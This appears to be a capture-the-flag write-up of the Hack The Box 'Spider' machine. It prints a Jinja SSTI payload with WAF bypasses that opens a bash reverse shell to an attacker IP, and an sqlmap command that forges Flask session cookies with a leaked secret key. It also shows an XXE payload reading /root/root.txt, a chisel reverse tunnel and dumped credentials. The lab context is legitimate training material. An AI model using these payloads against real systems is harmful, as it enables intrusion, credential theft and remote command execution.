Web Enumeration

  • We land on the above webapp. I tried to enumerate subdomains, UDP ports, Directories Nothing useful.

  • But if u notice the above screenshot, I can see there is % in Discount. I felt like it was using Template. So I tried SSTI idetification payload {{7*7}}.

  • I ran that payload in all the fields available to see if its rendered. Eventually the signup page renders it.

{% asset_img 20210531100513.png %} {% asset_img 20210531100623.png %}

  • It has been rendered and the output can be seen in /user.

JWT SECRET_KEY

Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942

Now am guessing there is SQLi in the website similar to PROPER HTB BOX. As the JWT token hints me about the hash in it as a tamper checker.

Now as we inject with SQLi with SQLMAP the JWT Token should also change as the value of the JWT Paramert will change.

So we shall automate it with PYTHON FLASK UNSIGN

SQLMAP QUERY

sqlmap http://spider.htb/ --eval "from flask_unsign import session as s; session = s.sign({'uuid': session}, secret='Sup3rUnpredictableK3yPleas3Leav3mdanfe12332942')" --cookie="session=*" --delay 1 --dump

For some reason I wasn’t able to use --batch flag to automate the answering SQLMAP questions.

So answer to the questions as Follow:

Y
N
N
N

Note: If you get a quesiton with no y or n as option enter c.

From The SQLMAP DUMP

{% asset_img 20210531102046.png %}

I logged in as chiv and I got access to adminapp.

CREDENTIALS: 129f60ea-30cf-4065-afb9-6be45ad38b73:ch1VW4sHERE7331

I got Adminapp

There was note left:

Upon visiting http://spider.htb/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal

I got Support portal and I tried to do SSTI again. It had a WAF. So let’s bypass it

So upon trying lot’s of payloads and bypassing characters. By using hex for _ and Base64encode for . and stuff.

I ended up with following payload.

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNi85MDAxIDA+JjE= | base64 -d | bash")["read"]() %} a {% endwith %}

I got shell as Chiv and I converted the current shell to SSH.

I GOT USER FLAG!

PRIVILEGE ESCALATION

XXE

  • I can see open ports in local host with 8080, I got another webpage. Let’s exploit it. I used chisel to port forward it.
[LOCAL MACHINE]: ./chisel server -p 8000 -reverse -v


[REMOTE MACHINE]: ./chisel client 10.10.14.26:8000 R:8080:127.0.0.1:8080

  • After enumerating the page…. < as name gives some error this makes me wonder if it has XXE.

  • I also found an hidden parameter, which can be made visible by inspect element in web browser and change it from hidden to show.

in the email section put &grem; and in version have to put 1.0.0--><!DOCTYPE root [<!ENTITY grem SYSTEM 'file:///root/root.txt'>]> <!--

I GOT ROOT FLAG!
